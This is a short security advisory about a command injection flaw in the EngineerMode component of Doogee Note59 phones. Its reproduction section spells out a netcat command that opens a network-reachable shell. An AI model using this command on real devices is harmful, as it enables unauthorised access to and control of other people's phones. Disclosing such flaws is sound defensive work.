Doogee Note59 Series OS Command Injection Vulnerability in EngineerMode Component

A command injection vulnerability has been identified in the EngineerMode component of the Doogee Note59, Note59 Pro, and Note59 Pro+ smartphones, all running Android 15. This vulnerability allows local attackers to execute arbitrary code and escalate privileges via the EngineerMode ADB shell. The issue arises from incomplete patching of a previous vulnerability, CVE-2025-31710, which had been addressed in earlier Android versions.

Impact

Exploitation of this vulnerability allows for unauthorized code execution with elevated privileges, potentially leading to unauthorized access or control over the device.

Reproduction

The vulnerability can be reproduced by accessing the EngineerMode ADB shell activity, which was unintentionally reintroduced. After opening the ADB shell, the command 'nc -s IP -p PORT -L sh -l' can be executed to create a reverse shell. This shell can then be accessed from another device on the same network, effectively bypassing normal ADB restrictions.